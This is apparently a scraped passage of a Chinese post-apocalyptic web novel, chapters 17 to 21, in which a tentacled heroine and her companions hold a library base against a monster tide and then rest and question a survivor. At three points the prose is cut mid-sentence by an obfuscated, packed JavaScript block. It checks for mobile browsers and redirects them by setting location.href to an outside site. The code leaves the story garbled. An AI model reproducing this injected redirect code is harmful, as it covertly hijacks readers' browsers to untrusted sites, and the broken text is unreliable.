“真是不好意思……”身后声浪渐息,邓华总算处理完了手头的事情,小跑着赶了过来,她身后,唐超虎被绑成了粽子,口塞破布,被邓伯同提在手中,不断挣扎着。 她深深地看了眼闻风藻,笑着对黎望舒说:“还没来得及感谢你们,帮我解决了一个大麻烦。” “感谢?我还以为您是来兴师问罪的。”闻风藻掀开眼皮,面上又挂起了无懈可击的微笑。 “怎么会呢,一时的刺痛,总比长久的阵痛要好。”邓华眨了眨眼,“我早就看那家伙不顺眼了,趁此机会把他解决掉,还能杀鸡儆猴,为新基地建立起秩序,一举多得。” “客气了,您手段了得,和我们关系不大。”黎望舒顿了顿,突兀道,“我们打算现在就离开这里。” “现在?”邓华扫视一圈,发现其他三人也是一脸惊讶,“恕我直言,外面天已经全黑了,风雪那么大,还是天亮了再……” “不能再等了。”黎望舒焦躁地打断了她,“……我有种不好的预感。” 太阳穴针刺般发痛,心脏仿佛要跳出胸腔似的,危机感前所未有地袭上心头——她实在忍不下去了,就算用强,她也要将队友们绑上汽车。 但让她万万没想到的是,几人居然轻易接受了这个荒唐的提议—— “既然你都这么说了……”杜蕊面色略有些不安,起身开始收拾东西。 “好吧,谁让我又被你救了一次呢。”闻风藻叹了口气,扶着书架,摇摇晃晃地站了起来;郁仪无言上前一步,托住了他的小臂,帮他站稳后,又回到了黎望舒身边。 黎望舒一时失语:“你们……不觉得奇怪吗?” “怎么可能!但头一次看你急成这样,应该会发生什么不得了的事情吧……所以我暂时不问了。”杜蕊手下动作飞快,“到了安全的地方后,一定要把缘由说给我们听!” 闻风藻点头,冲她扯出一个微笑,郁仪也弯了弯眼:“我相信你。” 来不及去品味胸中涌起的柔软情感,黎望舒拎起背包,对着尚在迷茫中的邓华一点头,“谢谢你的招待。” 邓华却望着她的背后,睁大了眼睛,“等等,那是——” 18. 第 18 章 黎望舒心头一紧,回身望去——只见窗外白光亮起,随着隆隆的轰鸣声,一辆红色方顶越野车大灯全开,飞驰而来,在门前急切地刹车,车体因惯性甩出半圈,扬起了一阵雪雾。 一个壮实男人拉开车门,向图书馆跑来,慌张的面容看起来有几分眼熟——黎望舒猛然想起,自己曾在路上见过这张脸,但那时他身后的大卡车与周围的许多同伴,此刻都不见了踪影。 “大春哥?”邓华向车后面望了一眼,面色微沉,小跑着迎出去,“怎么回事,其他人呢?” “都死了……就剩我一个了!”名为大春的男人擦了把眼泪,拉住邓华的手臂,急切道:“小华,怪物就要来了,带上邓叔,你们先走!” 此话一出,一片哗然。 “谁爱走谁走!”邓伯同扔下唐超虎,面色沉得几乎要滴出水来,眼眶微微发红,厉喝一声:“我倒要看看,是什么样的怪物杀了我那么多弟兄!” “邓叔,算我求你了,别犯牛脾气!”大春拽着邓伯同的胳膊,想要将他往车上拖,但邓伯同一下子甩开了他的手。 “这里还有这么多人呢,我们走了,他们怎么办?”邓华皱眉,“你先说说怪物的特点,我们也好应对。” “望舒,我们怎么办?”杜蕊犹豫着问,“留下?还是……” “……来不及了。”黎望舒心脏狂跳,深吸一口气,握紧撬棍,“准备战斗吧。” 话音刚落,远处传来了隆隆的巨大声响,脚下的地面不间断地微微震动,仿佛四面八方都有极为巨大的东西正在接近似的。 “晚了。”大春痛哭出声,扑通一声跪在了地上,喃喃道,“我们都会死的……” “别窝囊。”邓华拍了拍他的肩膀,“你不是常说,就算要死,也要战斗到最后一刻吗。站起来,抄家伙!” 在邓华的吆喝下,能够战斗的人纷纷涌向一楼拐角处的武器库,挑选趁手的武器,无法战斗的人缩在角落瑟瑟发抖,一时间,馆内尖叫与哭声四起,与杂乱的脚步声混在一起,让每个人的心中都笼上了浓重的阴霾。 “一会儿你们几个待在我身边,不要分散。”黎望舒低声吩咐,“我会保护好你们的。” 意识到自己无路可退,必须直面危险时,她反而不再焦躁,脑海中异常冷静。 “可是,你手臂上的伤还没好吧。”杜蕊担忧道,“不用太在意我们。” 黎望舒一怔,这才想起了胳膊上的伤痕——事实上,不知从何时开始,她已经感觉不到疼痛了。她拽住郁仪扎出的蝴蝶结,轻轻一扯,绷带缓缓滑落,露出了底下光滑如初的肌肤。 “果然。”耳边传来杜蕊的惊叹,黎望舒笑了,“这下就可以毫无顾忌地战斗了。” 听出了她话中的意思,郁仪不赞同地蹙眉,想说什么,但抬眸触到她略带兴奋的神色,又握紧剑柄,将话咽了回去。 ……不必扫兴,无论她想使用多么激进的打法,有自己在身边掩护,任何东西都别想伤到她一根毫毛。 谈话间,大部分人已经拿好武器,守在大门边严阵以待了。 窗外的隆隆声越来越大,地面的震动也愈发明显,有些人足底甚至被震得微微发麻,原本尖声哭泣着的人们也都屏住呼吸,不敢出声。 倏地,在到达了某个临界点后,隆隆声与震动一起消失了,天地间一片死寂,耳边同伴的轻微呼吸声都变得清晰可闻。 窗外的景象似乎没什么变化——方顶越野车车灯大开,光束穿过一楼的大窗户,将窗边的一小块地方照得宛如白昼;车后则是一片浓稠的黑暗,细细看去时,那黑暗仿佛有生命似的,缓缓流动着,又像是有什么东西潜藏其中,叫人疑心自己是否出现了幻觉。 耳边传来紧张的吞咽声,与面色难看的邓伯同对视一眼后,邓华拎起手边的强力光源,对准那片诡异黑暗,启动了开关—— 一只、两只、三只……强光照耀下,无数只形态各异的怪物从黑暗中剥离出来,生长在身体各处的血红色眼球骨碌碌地转动,口中尖牙反射着尖锐的寒光,咧出了极为拟人的血腥微笑。 邓华手腕一颤,呼吸急促,不死心地将光源投向更远的地方——广场上、空地上、马路上,目之所及与不能及的地方,都爬满了黑压压的一片,其中不乏一些身躯庞大的巨型种,波浪似的,密密麻麻地延伸向视线尽头。 “怎么……怎么会有这么多!”看到这样令人绝望的景象,饶是邓华这样一向乐观处事的人,嘴角也牵不出一丝微笑了。 强光之下,怪物们不安地躁动着,一只只血红的眼球直直地盯过来,但却像戏弄猎物的猛兽似的,依旧停在原地。黎望舒紧盯着那片涌动的黑潮,血液因激动而微微发烫,岩浆似的奔涌在血管中,让她浑身都变得燥热起来。 “闻风藻,留好你的超能力。”她压抑着心中的嗜血欲望,低声交代了一句,没等闻风藻反应过来,就游向了那扇双开大门,郁仪一声不吭地拔剑出鞘,紧跟在她身后。 门边聚集着的壮汉们被外面山海般的怪潮震撼到,一时间没有一个人敢动弹;黎望舒拨开人墙,挤到了邓华身边,有人回过神来,呵斥道:“哪来的小姑娘,别来添乱!” 邓华抬手,止住了那人喉中的余音,胸膛起伏几下,扯出了一个难看的笑容:“黎小姐……我们恐怕都要葬身在此了。” “不,只要相信我,你们就能活下来。”黎望舒单手将碍事的裙摆扎在腰上,露出了底下的粗壮触手,身后传来一阵清晰的抽气声。 “这、这是……”出乎她意料地,邓华震惊的表情只维持了一瞬,而后迅速地冷静下来,追问道:“你的意思是,你有能力对付外面成千上万的怪物?” “试一试就知道了——大门这边可以交给我,你们只需守住余下的窗户。”黎望舒冷静道,“这也是为了自保。” “……行,听你的。”邓华与父亲对视一眼,胸中重新燃起了希望,“反正仅凭我们的力量一定会死,不如死马当成活 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14794257|158285||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 马医,更重要的是——” 她凝视着黎望舒,重新露出了轻松的笑容:“我相信自己看人的眼光。” 二人迅速敲定了计划,很快地,通过邓华的调度,战士们分散到了三层楼的窗边,邓家父女俩守着一楼的一扇窗户,大门附近只余下了黎望舒几人。 “刚刚那话是什么意思,我不能用催眠协助你吗?”闻风藻低低地问。 “杯水车薪,不如留下来做些更有意义的事,你只要保护好自己就好。”黎望舒警惕地盯着门外的黑暗,不时便能感到身后有视线从触手上扫过,“知人知面不知心,顶过怪潮之后,还有其他风险在等着我们。” 闻风藻领会到了她的意思,点了点头,不再出声。 时间一分一秒地过去,但怪物们却一直停留在原地,没有攻上来的意思。 ……头顶像是悬着一柄达摩克利斯之剑,每一个人的心跳都在这窒息般的等待中逐渐加快,哪怕冷汗从额头滴落,滑进眼中,也没人敢在这样的情况下闭上眼睛。 不知过了多久,从一楼的角落中泄出了一道尖锐泣音——所有人的神经骤然绷紧的同时,怪物们也仿佛听到了宣告进攻开始的号角似的,短暂的停滞过后,一窝蜂地向图书馆涌了过来—— ……终于。 黎望舒反而松了口气——说实在的,她的耐心也快走到终点了。 转瞬间,视野就被铺天盖地的黑色怪物占满了。黎望舒面无表情地举起撬棍,大力击飞了一只向她面门扑来的小型怪物,同时触手猛地伸长,在怪群中一卷,再用力收缩,前方便传来了一连串“噗呲”的爆裂声。 十来根触手同时出动,怪物向前扑来的动作甚至赶不上同类被挤爆的速度,偶尔有几只怪物接近,也会被守在一边的郁仪干脆利落地斩下;她游刃有余地控制着触手,面前堆满怪物的残破尸体,甚至还有余裕去观察另外一边的状况—— 一楼的另外几个小组还在提心吊胆地等着怪物破开窗户,邓伯同却与他们不同,显露出了极为彪悍的行事作风——为了替大门这边分担火力,他直接将窗户打开,双手各提着一把砍刀守在窗边,每一刀砍下去都能带走一只怪物;偶尔有漏网之鱼钻进窗户里,也会被窗下守着的邓华解决掉。 邓华脸颊上被刮出一道血痕,干练短发上沾满怪物淡红色的血液,在冰冷空气中凝结成乱糟糟的一团,本该是极为狼狈的造型,但她眼中不屈的火焰熊熊燃烧,又让她看起来充满了勃勃生机,极具别样魅力。 “小心!” 黎望舒一时看得入了迷,直到眼前剑光刁钻闪过,朝她扑来的怪物被切成两半,才回过神来,“……抱歉。” 郁仪喘了口气,摇头道:“怪物太多了,别分心。” 她点头答应,收回心神,重新投入了对怪物的绞杀中;突然,远方似乎有一道若隐若现的视线投在身上,她打了个冷战,猛地抬眼向前方望去—— 远方的大厦顶层,似乎有一道蓝光闪过。 19. 第 19 章 蓝光一闪而逝,黎望舒眯起眼睛,想将它看得更清楚,但面前的怪物突然层层叠叠地涌了上来,挡住了她的视线。 “怎么了?”郁仪几剑便斩开了怪墙,顺着她的视线望去,“你看到了什么?” “……不,没事。”黎望舒摇头。 怪墙散去后,那里已经什么都不剩了,但黎望舒并不认为那道蓝光是自己的错觉——与蓝光一起出现的,还有一道视线,灼热、粘腻、有如实质,带着鲜明的存在感,又隐约地让她感到熟悉。 那究竟是谁……和翻涌的怪潮又有什么关系? 黎望舒翻遍了自己的记忆,也没能找出一个符合条件的人,随之袭上心头的,是一种预感,仿佛有什么事情即将脱离掌控;她的动作愈发急躁,恨不得直接追上去,用触手将对方紧紧缠住,再好好看清那究竟是怎样的一张脸。 但她不能离开——图书馆能在怪潮的侵袭下坚持到现在,几乎全仰赖于她的十几条触手。无论这里的战士多么勇猛,终究都是些普通人类,生不出三头六臂,对上如此庞大的怪潮,恐怕转瞬间就会被淹没。 更何况,此处和蓝光闪现的大厦之间有段距离,就算她现在追上去,如果对方无意现身,等待她的也是竹篮打水一场空。 压下心中的复杂感情,黎望舒余光瞥见左侧的窗口似乎难以支撑,即将被突破,于是立即分出一条触手,为他们争取喘息的时间。 “谢、谢了!”扑到眼前的怪物被触手卷走,刘春生擦掉额上的冷汗,喘了两口气,酸软手指握紧长刀,正准备重新冲上去时,背后突然传来一声大喊—— “大春哥,你去歇着吧,我来替你!” “你们怎么下来了?”刘春生问,“小华不是让你们守在楼上吗?” “嗨,这群怪物里没几个会爬墙的,那么多人待在楼上太浪费了。”年轻小伙拎着锋利长刀,几步跨下楼梯,把刘春生从窗边挤开了,“你先歇会儿,等我砍累了,再叫你顶上!” 下楼的远不止他一个——看出了哪里最需要人手后,被分配到楼上的闲暇人手纷纷聚回了一楼,替下了已经疲惫不堪的人,主动投身于战斗中;战士们的吼声震天撼地,缩在角落里的人们面面相觑,有人被热烈的气氛感染,压下了心中的恐惧,也抬步向武器库跑去。 ——有了第一个,就会有第二个、第三个,越来越多的人受到鼓舞站了起来,填上了窗边防线的空缺。 “那不是小水吗。”杜蕊眼尖地在人群中发现了那个娇小女孩——她面色苍白,手中握着一把长柄铁叉,也凑到了窗边,拼尽全力刺向窗外的怪群。 杜蕊看得心痒痒,握紧了手中的消防斧,也想加入,但刚迈出一步,小腿上就传来了湿漉漉的触感——一条沾满淡红血液的蓝黑触手顺着脚踝缠了上来,用力地将她拖在原地,“望舒?” “你要去哪里。”黎望舒没有回头,身下触手狂乱地向外延伸,背影融在夜色中,看起来危险又诡异,“那边很危险。” “我想去!”杜蕊没有被她的气势压倒,而是坚持道,“我不想永远只做旁观者……我虽然没那么强,也有可以做的事情!” 小腿上的冰凉触手缓缓收紧——她以为这代表黎望舒的反对,正准备继续劝说,但那触手却突然松开了她,重新刺向怪潮。 “去吧。”黎望舒尾音悠长,像是在叹息,“注意安全,保护好自己。” ……一群人筋疲力尽,退了下来,无言的默契中,又有另一群人提着武器顶上去,人们沉浸在砍杀中,忘却了时间。 不知不觉间,雪停了,天边已经泛起了鱼肚白;晨曦照亮大地,但放眼望去,地表上依旧覆盖着一片看不到头的黑潮。 震天的吼声早已停歇,一开始的热潮退却,余下的只有麻木——人们眼中只看得见面前的怪物,机械地挥动着变钝了的武器,不时有人力竭倒下,被拖到后方,但却没有能顶上去的人了。 为了活下去,就连母亲们都含泪放下了怀中的幼儿,拿起武器冲向前线……但无奈地,窗边的缺口依旧在扩大。 身下的触手伸展过度,泛着细细密密的疼痛,郁仪依旧在她身边,但面色白得像鬼,不住地喘息着,口中散出的白气连成一片,消散在空气里;身后的闻风藻早就忘了她的叮嘱,为了救人,又一次透支了能力,昏在地上。 黎望舒大口喘着气,恍惚地抬头望向天空。 从天黑到天亮,她持续不断地战斗着……好像已经过去了一整个世纪,又好像只花了一瞬间。对时间的感知依然模糊不清,但身体与精神上的疲惫又如此真实。 ……她还能坚持多久? 就在黎望舒眼前发白,头痛欲裂,即将支撑不住之时,右侧窗边传来一声短促的惊呼,她猛地转头望去——杜蕊的消防斧脱手掉在了窗外,下意识趴在窗框上,身体前倾,想要捡回来,却正好对上了怪物的尖牙。 “杜蕊,回去——”黎望舒嘶吼一声,触手瞬间刺出,勒住那只怪物的口腔,将它从窗边捞开,但又一次伸展过度的触手痛得发麻,已经无力收缩,被怪物的尖牙结结实实地刺穿了,“呃!” “望舒!”杜蕊没了武器,看见黎望舒的触手被拖进怪潮,急得大喊一声,转身奔向武器库,但跑到一半,她又突兀地停下了脚步,愣愣地向窗外望去—— 晨曦之下,怪物们仿佛受到了什么召唤似的,不再向这边扑来,反而渐渐向后退去,速度越来越快,还没等窗边的战士们反应过来,就仿佛从未出现过似的,重新消失在这座城市的阴影中,只余下大门前一座腐烂了一半的黑红尸山,昭示着这里曾经发生过的一切。 “……结束了?”害怕这一切都是自己的幻觉,杜蕊低声喃喃,甚至不敢揉一下眼睛。 黎望舒忍痛收回了流血不止的触手——那只小怪物尖牙还嵌在触手里头,冻僵了似的,一动不动地被一起拖了回来。黎望舒将它一把扯了下来,丢在地上,郁仪抬手刺下,终结了它的生命 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14794258|158285||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 终于确信了胜利属于己方,长久的沉默后,人们褪去麻木,图书馆内骤然爆发出了一阵欢呼声,也有哭声夹杂在其中——有的是喜极而泣,有的则伏在失去生息的家人朋友身边,失声痛哭。 “结束了!”黎望舒畅快地大笑出声。 一阵疲惫涌上心头,她懒得再去操控触手,直接仰头向后倒去;但出乎意料地,等待她的并不是冰冷的地板,而是一个温柔的怀抱——郁仪及时蹲下身接住了她。 郁仪面上依旧没什么血色,一双黑眸却极亮,闪烁着点点柔光,里头似乎藏着千言万语,想要对她诉说。黎望舒累极了,连手指也不想动弹一下,于是闭上双眼,等他开口。 郁仪没想到她会闭眼,喉结一滚,胸口涌上一阵热流,呼吸变得急促,下意识凑近了她的面庞,但即将触到她唇瓣的时候,边上突然传来一声冷咳——他心头一紧,冰冷双唇险而又险地擦过黎望舒的脸颊,这才回过神来。 意识到自己刚刚想做什么,他耳根一烫,忍不住把头埋在了黎望舒的肩膀上。 “……”闻风藻一醒来就看到了这样一幕,忍不住狠狠地磨了磨后槽牙,“你在干什么?” 郁仪耳朵通红,埋在黎望舒肩上不愿起来。 “太紧了,把手松开。”黎望舒等了半天,但郁仪一句话也没说,反而像只大型犬似的,黏糊糊地凑上来抱住了她——她没好气地捏住郁仪的后颈,用了些力将他拉开,回头冲闻风藻一笑,“你醒了。” “嗯……现在这是什么情况。”耳边各种嘈杂的声音混成一片,震得闻风藻耳膜生疼,“我们赢了?” “可能是因为太阳出来了吧,怪物们突然撤退了。”杜蕊慢吞吞地挪过来,一屁股坐在地上,长出了口气,“太不可思议了……我真的以为自己会死在这里。” 她的冲锋衣不知脱去了哪里,满身都是怪物缤纷的血液,头发也乱糟糟的,脸上多了好几道细小伤痕。 “但我们都还活着,没有比这更好的事了。”黎望舒心疼地摸了摸她的脸颊,“你的外套呢?这样待着容易感冒……身上还有没有其他伤?” “嗨呀,没伤到,外套等冷了再去找。”杜蕊爽朗一笑,“虽然过程又痛苦又绝望,但是现在回想起来,有种特别爽快的感觉!我居然和那么多人一起并肩作战,还击退了怪潮,简直就像做梦一样!” “爽快?”闻风藻冷嗤一声,“那下次遇到怪潮,再把你送进去感受一次如何?” “呃……还是免了吧。”杜蕊呼吸一滞,连忙摆手,“这样的经历,一生一次就够了,我可不想再来一次了……” 几人对视一眼,都笑了起来,就连郁仪也忍不住勾起了嘴角;黎望舒微笑着扫视一圈,默默将伙伴们的笑颜存入心底,品味着来之不易的平静时光,身上的阵阵疼痛仿佛都被这温柔的气氛淡化了。 身后传来一阵脚步声,黎望舒回头望去,只见邓华拄着根长杖,一瘸一拐地向这边走来。 20. 第 20 章 “黎小姐。”邓华在距他们几步远的地方站定,眉毛低低地压着,看起来十分严肃。 “邓姐。”黎望舒与闻风藻交换了一个眼神,回头冲邓华一笑,手臂肌肉悄悄绷紧,“找我们有事?” ……该来的终究会来,就算邓华看起来相当通情达理,她也不敢放松警惕——有闻风藻的前车之鉴,从在众人面前露出触手的那一刻起,她就做好了不被理解的觉悟。 好在,邓华并没有辜负她的期待。 “谢谢你。”邓华眼眶微红,撑着手中的长杖,朝她弯下了腰,“如果没有你,这里的所有人都会死在怪潮之中,你是我们的救命恩人,无论提出什么样的要求,我们都会尽全力为你实现。” 黎望舒松了口气,伸手去扶她,“不必这样,我也是为了自保。” “但我们受到的帮助也是真实的。”邓华抓住了她的手,目光灼灼,“怎么样,有什么我们帮得上忙的地方吗?物资、人手或是情报,什么都可以,就算你想成为基地的领导者,也完全没问题!” 黎望舒一怔,这才明白邓华打的是什么主意。 “邓姐,我说过,我们有其他的目的地,没办法留下。”黎望舒无奈一笑,“而且……就算你对我有信心,基地里的其他人可不一定能接受。” 她的长裙仍扎在腰上,狰狞触手毫无阻拦地暴露在空气中,引来了不少忌惮视线。怪物将恐惧深深地刻进了人们心中,这种排斥不是短时间内就能消解掉的,她比任何人都要明白这个道理。 “其他人的想法无关紧要,他们靠着你才能活下来,也见识过你的本事,没胆子反抗的!只要你能留下,我们控制的几个食品仓库都随你取用。”邓华有些着急,压低了声音,“那些怪物并没有消失,只是藏起来了,这样的事情说不定还会重演,我担心……” “关于这件事——”黎望舒打断了她,“我刚好也有些好奇的地方,能带我去见那个叫大春的人吗?” “……行。”邓华看清了她眼中的坚决,失落地抓了抓头发,“大春哥在楼上睡着了,我去把他叫起来。” “不用,我们正好也要休息一段时间,等他醒了再聊吧。”黎望舒一笑,随口问起:“您父亲呢?刚刚还见他在窗边守着。” 邓伯同昨晚几乎没有休息过,与年龄带来的刻板印象不符,他似乎有着用不完的力气,甚至比一些年轻小伙还要精力旺盛;黎望舒每次转身时,都能看见他守在窗边、双手持刀劈砍的样子。 “他……”提起邓伯同,邓华的笑容变得勉强了不少,“他受了点伤,和大春哥一起躺着呢。没事,不用在意,我带你们去清静点的地方休息吧。” 邓华将几人带进了一楼边上的休息室,又张罗着搬来了干净的褥子与棉被。黎望舒打着哈欠盖上被子,又有点不放心,忍不住叮嘱闻风藻:“出事了记得叫我起来。” “知道了……这是第三遍了吧,我看起来有那么傻吗?”闻风藻靠坐在门边,单手搭在膝上,观察着门外的动静,“有我守着,安心睡吧。” 黎望舒不好意思地笑了笑,这才躺了下去。先前战斗时的亢奋还未完全褪去,闭上眼睛后,感受着岩浆似的血液在血管中奔腾,她反而没了困意,又回忆起了那道神秘的视线。 直面怪潮时她没功夫分心,直到现在才能静下心来思考——怪潮究竟是怎样产生的? 一路走来,她见过、也杀过不少怪物,但它们似乎并没有清晰的神智,只有猎杀与吞噬的本能,个体之间不懂得合作不说,有时甚至还会为了争抢食物而互相攻击;在遭遇怪潮之前,她从未在怪物身上看到过如此一致的凝聚力,简直就像……有什么东西在背后操控它们一样。 回想起来,组成怪潮的怪物与她之前所见的普通怪物,形态上并没有什么不同,但行为模式上却存在着天翻地覆般的差异……是什么样的影响造就了这种差异?她想了又想,最终还是回到了“人为”的可能性上。 更多的细节,还得问过大春之后才能了解——怪潮聚集起来时他就在城市中,有很大的可能性亲眼目睹了全过程。 耳边传来细小的鼾声,黎望舒从沉思中抽离,翻了个身,看向身侧那个将头蒙得严严实实的人形棉被——与自己不同,杜蕊脑袋沾上枕头后,没过多久就陷入了沉眠,看来是累到极点了。 另一边,郁仪双手规规矩矩地搭在小腹上,黑色长发绸缎似的散落在身下,胸口微微起伏,也睡得很沉,长剑被他放在枕边,剑鞘上延伸出的黑色绑带缠绕在他的手指上。他长眉微蹙,眼皮下的眼球不时转动一下,额上出了些冷汗,应该是在做噩梦。 目不转睛地盯着那边看了一会儿,眼看他表情愈发痛苦,黎望舒伸出手,抓住了他枕边的剑鞘,轻轻一拉——感受到指间的绑带被牵动,郁仪立刻惊醒了,翻身而起,用膝盖压住了剑柄。 骤然从梦中醒来,郁仪心脏狂跳,呼吸急促,一低头就对上了黎望舒的琥珀色瞳孔。他意识尚未清醒,茫然地发问:“怎么了?” “你做噩梦了?”黎望舒问。 “嗯。”回忆起梦中她冰冷的面孔,如同被兜头浇了盆冰水似的,郁仪瞬间清醒过来,心中又升起一阵惶恐。他下意识抓住了黎望舒的手,切实感受到了她的温度后,才微微松了口气,喃喃道:“我现在……不是在做梦吧。” “说什么呢,睡糊涂了?”黎望舒笑了,看着他重新躺下,“你的手怎么冰成这样。” 郁仪没说话,像是有些害羞,将脸藏在被子后面,只露出一双泛着水光的黑眸,亮晶晶地盯着她看,依然没有放开她的手;他这副模样,让黎望舒想起了从前在福利院附近流浪的黑毛小狗,粘人又乖巧,总是睁着双黑豆似的眼睛,可怜巴巴地跟在她身边,被摸了就会高兴地伸出舌头,将她的手舔得湿漉漉的。 难得回忆起往事,黎望舒心底蓦然生出了一丝柔软,指尖泛起痒意,突然很想挠挠郁仪的下巴;但郁仪将下半张脸蒙得严实,她只好压下了这股冲动,心情颇好地放任对方握紧了自己的右手。 郁仪双眸微 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14794259|158285||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 微睁大,沉浸在喜悦中无法自拔时,面前突然投下了一片阴影——闻风藻面上挂着冷笑,盘膝坐在了他与黎望舒之间。 “哎呀,明明都这么大了,还要握着别人的手才能睡着?”闻风藻用力掰开了郁仪的手指,语气温和,眼中却没有笑意,一字一顿道:“别打扰她休息,我来陪你。” 手中的温暖触感被男人冰冷的指节取代,郁仪抬眸,冷冷地盯向那张皮笑肉不笑的脸;闻风藻也不甘示弱地回望过去,一时间,两个男人目光交错,火花四溅。 “你们俩的关系什么时候变得这么好了。”黎望舒收回右手,看着他们“相亲相爱”的样子,笑眯眯地问。 “患难见真情嘛。”闻风藻做戏向来做全套,一边用力与郁仪的手指较劲,一边轻声哼起了摇篮曲。 闻风藻的歌声算不上好听,不知是不是故意为之,大部分时间都不在调上,但胜在足够轻柔;黎望舒闭眼听了一会儿,竟真的被催出了一股困意——她没再去管暗流涌动的二人,翻了个身,迷迷糊糊地沉入梦乡。 …… 同伴就在身边,不必为自身的安全担忧,不用忍受车辆的颠簸,身下是柔软的褥子,身体被软绵绵的被子包裹……自异变降临后,她便再没有享受过如此安稳的睡眠了。 朦胧中,面上拂过了微弱的气流,黎望舒一惊,猛地睁开眼,正好对上了杜蕊盛满担忧的一双大眼——她醒得太突然,目光中又泛着冷厉,杜蕊反而被吓了一跳,身体后仰,结结实实地摔了个屁股墩。 “嘶!”杜蕊疼得倒吸一口凉气,尴尬地干笑两声,“你、你醒啦……” 难得睡得神清气爽,黎望舒撑着地板坐起身来,举起手臂,伸了个极为舒爽的懒腰,连背后的骨头都在咔咔作响。她在房间里扫视一圈,发现另外两个人都不见了踪影,于是问道:“郁仪他们呢?” “闻风藻去找卫生间了,临走的时候不知道为什么,把郁仪也拽上了。”杜蕊回答。 “手挽手上厕所……那两个人是小学生吗?”黎望舒掀开被子,看到外边明亮的天光时,微微一愣,“天怎么还是亮着的。” “现在快到第二天的中午了……你睡了整整一天,我都快担心死了。”杜蕊拍了拍身上的灰尘,“饿了吧?我去给你拿饭!” 说着,她站起身来,向图书馆的另一头跑去。黎望舒刚想追出去,余光就瞟到了两个熟悉的身影——郁仪和闻风藻刚好走进了大门,二人之间大约隔了一米远,闹了别扭似的,脸色都不怎么好看。 ……真像小学生,吵架就像呼吸一样简单,黎望舒想。 “黎姐,你醒了!”看到她的那一刻,闻风藻脸上立刻挂起了笑容。 黎望舒随口答应一声,目光投向后面的郁仪——不知为何,他脸色似乎变得更难看了。 “哎呀,都在呢。”远远地传来了邓华的爽朗声音——她精神看起来比前一天好了许多,和杜蕊肩并肩走着,手中各自端着一个大托盘,“都饿了吧?来尝尝我们基地的伙食如何。” 21. 第 21 章 谷物的甜香在空气中飘散,托盘中的一小碗米饭粒粒晶莹,还冒着丝丝缕缕的热气,上面点缀着一小撮肉末,旁边还摆着一碟爽脆的酸萝卜和两个干瘪的小沙糖桔。 尽管早就知道这里不怎么缺食物,但亲眼看到这么一盘色香味俱全、在眼下称得上豪华大餐的午饭,依旧能给人带来极大的冲击力,更别说同样的饭一共有四盘——黎望舒小心地接过托盘,吞下口中不自觉分泌的唾液,艰难地将视线从那堆肉末上移开,看向邓华,“这里……每天都吃这样的饭?” “心动了?”邓华笑了,“如果我说是,你会为了它留下来吗?” 黎望舒梗着脖子摇头。 “好吧,看来我劝不动你。”邓华遗憾地叹了口气,“不可能天天这样吃的,大战过后,犒劳一下大家而已。” 不出十分钟,几人就风卷残云地把面前的餐盘扫荡一空,连一粒米也没有留下,杜蕊眼角甚至泛起了幸福的泪花:“好暖和,好幸福……我就是为了这一刻而活的!” 填饱了肚子,就该开始谈正事了。邓华叫来了刘春生——他穿着厚实的军大衣,靴子上沾满白雪和血液的混合物,手里拎着把铲子,不久前还在门外热火朝天地铲雪。 他生得高大又壮实,略有些拘束地盘腿坐在黎望舒面前,视线低低地压在地板上,有意不去看她裙摆下露出的触手。注意到他的拘谨,黎望舒将触手往回卷了卷,温声开口:“你好,我有些事情想请教你——” “您、您尽管问!”没等她说完,刘春生便条件反射似的大声回答。 黎望舒眨了眨眼睛,无奈道:“别这样,我又不会吃了你,还是说……你也害怕我的触手?” “不是的,我只是……有点紧张。”刘春生急得涨红了脸,有些手足无措,说得也结结巴巴,“怎、怎么说呢……” “大春哥,和兄弟们聊天的时候眉飞色舞的,怎么对上正主的时候反而不会说话了。”邓华哈哈一笑,用力拍了下刘春生的后背,“这家伙慕强得很,见识了你的实力之后,特别崇拜你,现在几乎把你当成偶像了。” “说了不提这个的!”刘春生一下子站了起来,瞪向邓华,但低头触到黎望舒平静的目光时,又像只小绵羊似的,一下子缩了回去,“对不起,您问吧……” “怪潮袭来之前,你们在城里遇到了什么?”观察着他的神色,黎望舒轻声发问,“能详细讲讲吗?” “……”回想起那时候的事情,刘春生呼吸顿时沉重了几分,拳头紧握着压在膝上,胸膛急促地起伏着;邓华也收了玩闹的心思,将手轻轻搭在他肩上,安抚地轻拍了两下。 